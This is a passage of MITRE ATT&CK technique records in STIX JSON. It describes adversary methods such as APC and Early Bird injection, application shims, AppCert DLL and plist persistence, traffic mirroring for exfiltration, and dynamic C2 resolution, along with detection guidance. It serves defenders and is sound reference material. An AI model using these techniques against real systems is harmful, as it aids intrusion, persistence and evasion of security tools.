March 29, 2021.", "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"}, {"source_name": "Docker Daemon CLI", "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.", "url": "https://docs.docker.com/engine/reference/commandline/dockerd/"}, {"source_name": "Kubectl Exec Get Shell", "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"}, {"source_name": "Kubernetes Kubelet", "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"}, {"source_name": "Kubernetes API", "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:40:10.978Z", "name": "File and Directory Discovery", "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)\n\nSome files and directories may require elevated or specific user permissions to access.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.  ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: OS API Execution"], "type": "attack-pattern", "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "created": "2017-05-31T21:31:04.710Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1083", "external_id": "T1083"}, {"source_name": "Windows Commands JPCERT", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Chris Roffe"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", "type": "attack-pattern", "created": "2020-03-10T17:28:11.747Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1568", "url": "https://attack.mitre.org/techniques/T1568"}, {"url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", "source_name": "Talos CCleanup 2017"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "source_name": "FireEye POSHSPY April 2017"}, {"source_name": "ESET Sednit 2017 Activity", "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."}, {"source_name": "Data Driven Security DGA", "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."}], "modified": "2022-03-11T18:26:23.782Z", "name": "Dynamic Resolution", "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"modified": "2023-09-29T20:30:58.300Z", "name": "Masquerade Task or Service", "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_deprecated": false, "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Scheduled Job: Scheduled Job Modification", "Service: Service Creation", "Command: Command Execution", "Service: Service Metadata", "Scheduled Job: Scheduled Job Metadata"], "type": "attack-pattern", "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "created": "2020-02-10T20:30:07.426Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/004", "external_id": "T1036.004"}, {"source_name": "Fysbis Dr Web Analysis", "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", "url": "https://vms.drweb.com/virus/?i=4276269"}, {"source_name": "Palo Alto Shamoon Nov 2016", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}, {"source_name": "Systemd Service Units", "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.", "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"}, {"source_name": "TechNet Schtasks", "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "type": "attack-pattern", "created": "2020-01-14T01:29:43.786Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1055.004", "url": "https://attack.mitre.org/techniques/T1055/004"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.", "source_name": "Microsoft APC"}, {"url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", "source_name": "CyberBit Early Bird Apr 2018"}, {"url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.", "source_name": "ENSIL AtomBombing Oct 2016"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.", "source_name": "Microsoft Atom Table"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}], "modified": "2021-10-18T12:23:46.476Z", "name": "Asynchronous Procedure Call", "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: OS API Execution", "Process: Process Access", "Process: Process Modification"], "x_mitre_defense_bypassed": ["Application control", "Anti-virus"]}, {"modified": "2023-04-14T23:23:30.327Z", "name": "Traffic Duplication", "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)\n\nMany cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)\n\nAdversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals).  Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Network", "IaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow"], "x_mitre_network_requirements": false, "type": "attack-pattern", "id": "attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1", "created": "2020-10-19T13:40:11.118Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1020/001", "external_id": "T1020.001"}, {"source_name": "AWS Traffic Mirroring", "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.", "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"}, {"source_name": "Cisco Traffic Mirroring", "description": "Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020.", "url": "https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html"}, {"source_name": "GCP Packet Mirroring", "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.", "url": "https://cloud.google.com/vpc/docs/packet-mirroring"}, {"source_name": "Juniper Traffic Mirroring", "description": "Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.", "url": "https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html"}, {"source_name": "Azure Virtual Network TAP", "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.", "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"}, {"source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1138", "url": "https://attack.mitre.org/techniques/T1138"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", "source_name": "Black Hat 2015 App Shim"}], "modified": "2020-11-10T18:29:30.362Z", "name": "Application Shimming", "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236", "created": "2022-04-09T15:06:32.458Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1647", "url": "https://attack.mitre.org/techniques/T1647"}, {"source_name": "eset_osx_flashback", "url": "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf", "description": "ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022."}, {"source_name": "fileinfo plist file description", "url": "https://fileinfo.com/extension/plist", "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021."}, {"source_name": "wardle chp2 persistence", "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", "description": "Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume 0x1:Analysis. Retrieved April 19, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the <code>LSUIElement</code> key in an application\u2019s <code>info.plist</code> file  to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)", "modified": "2022-04-20T22:00:33.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Plist File Modification", "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as <code>\\~/LaunchAgents</code>, <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>, and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification immediately followed by code execution from <code>\\~/Library/Scripts</code> and <code>~/Library/Preferences</code>. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "File: File Modification"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c", "type": "attack-pattern", "created": "2020-01-24T14:47:41.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1546.009", "url": "https://attack.mitre.org/techniques/T1546/009"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}, {"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", "source_name": "TechNet Autoruns"}, {"url": "https://forum.sysinternals.com/appcertdlls_topic12546.html", "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.", "source_name": "Sysinternals AppCertDlls Oct 2007"}], "modified": "2020-11-10T18:29:31.052Z", "name": "AppCert DLLs", "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code> Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions <code>CreateProcess</code>, <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>, or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Module: Module Load", "Command: Command Execution", "Process: OS API Execution", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_effective_permissions": ["Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", "Nik Seetharaman, Palantir"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1191", "url": "https://attack.mitre.org/techniques/T1191"}, {"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", "source_name": "Microsoft Connection Manager Oct 2009"}, {"source_name": "Twitter CMSTP Usage Jan 2018", "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", "url": "https://twitter.com/ItsReallyNick/status/958789644165894146"}, {"url": "https://msitpros.com/?p=3960", "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", "source_name": "MSitPros CMSTP Aug 2017"}, {"url": "https://twitter.com/NickTyrer/status/958450014111633408", "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", "source_name": "Twitter CMSTP Jan 2018"}, {"url": "https://github.com/api0cradle/UltimateAppLockerByPassList", "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", "source_name": "GitHub Ultimate AppLocker Bypass List"}, {"source_name": "Endurant CMSTP July 2018", "description": 